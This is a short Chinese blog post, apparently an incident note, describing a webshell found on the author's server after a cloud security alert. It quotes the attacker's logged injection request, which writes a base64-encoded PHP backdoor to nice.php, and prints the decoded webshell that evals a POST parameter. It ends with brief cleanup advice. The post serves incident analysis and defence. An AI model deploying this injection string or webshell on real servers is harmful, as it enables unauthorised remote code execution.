zoukankan      html  css  js  c++  java
  • 记录一次Webshell后门植入

    告警原因:外部入侵
    详情:WebShell告警通常是因为Web应用服务存在漏洞被攻击者利用后植入了恶意文件。
    建议:建议您采取如下措施处理该告警:1. 确认该文件是否是恶意文件; 2. 清除主机上的其他WebShell文件;3. 修复Web应用存在的弱点或漏洞,
    避免再次被入侵; 4. 评估入侵事件的影响,采取进一步的调查和补救措施。
    *这个是阿里云的云安全中心提示的 我个小菜鸡怎么会发现后门呢 o(* ̄︶ ̄*)o

    后门语句:

    [ 2021-07-21T02:56:30+08:00 ] 136.144.41.223 GET //index.php?m=--><?=file_put_contents('nice.php',base64_decode("

    PD9waHAKY2xhc3MgeHsKICAgIHB1YmxpYyBmdW5jdGlvbiBpcCgpewogICAgICAgICRjPSAiICRfUE9TVFtuaWNlXSI7C

    iAgICAgICAgcmV0dXJuICRjOwogICAgfQp9CiRjID0gbmV3IHgoKTsKJGIgPSAkYyAtPiBpcCgpOwpldmFsKCRiKTsKcHJp

    bnQobWQ1KCJSaW5nbyIpKTsKPz4="));?>

    解析:

    #在指定文件下添加内容

    file_put_contents()

    #解码base64

    base64_decode()

    #要添加内容的文件

    nice.php

    #添加的内容

    PD9waHAKY2xhc3MgeHsKICAgIHB1YmxpYyBmdW5jdGlvbiBpcCgpewogICAgICAgICRjPSAiICRfUE9TVFtuaWNlXSI7C

    iAgICAgICAgcmV0dXJuICRjOwogICAgfQp9CiRjID0gbmV3IHgoKTsKJGIgPSAkYyAtPiBpcCgpOwpldmFsKCRiKTsKcHJp

    bnQobWQ1KCJSaW5nbyIpKTsKPz4=

    #解码后的添加内容

    <?php
      class x{
        public function ip(){
          $c= " $_POST[nice]";
          return $c;
        }
      }
      $c = new x();
      $b = $c -> ip();
      eval($b);
      print(md5("Ringo"));
    ?>

    大概意思就是在nice.php文件中添加上方代码  

    处理方案:

    扫出nice.php文件  替换或者删除 

    屏蔽eval()函数

  • 相关阅读:
    跟着百度学习之ThinkPHP的认识/初窥
    Apache Rewrite 拟静态
    最新PHPcms9.6.0 任意文件上传漏洞
    最新phpcms v9.6.0 sql注入漏洞分析
    蓝牙攻击-基础篇
    emblog后台拿shell
    绕过云盾找真实IP-找真实IP-绕过CDN
    程序员最重要的品质是什么?
    VC++ 6.0中添加库文件和头文件
    程序的链接与装载
  • 原文地址:https://www.cnblogs.com/caopeng/p/15069423.html
Copyright © 2011-2022 走看看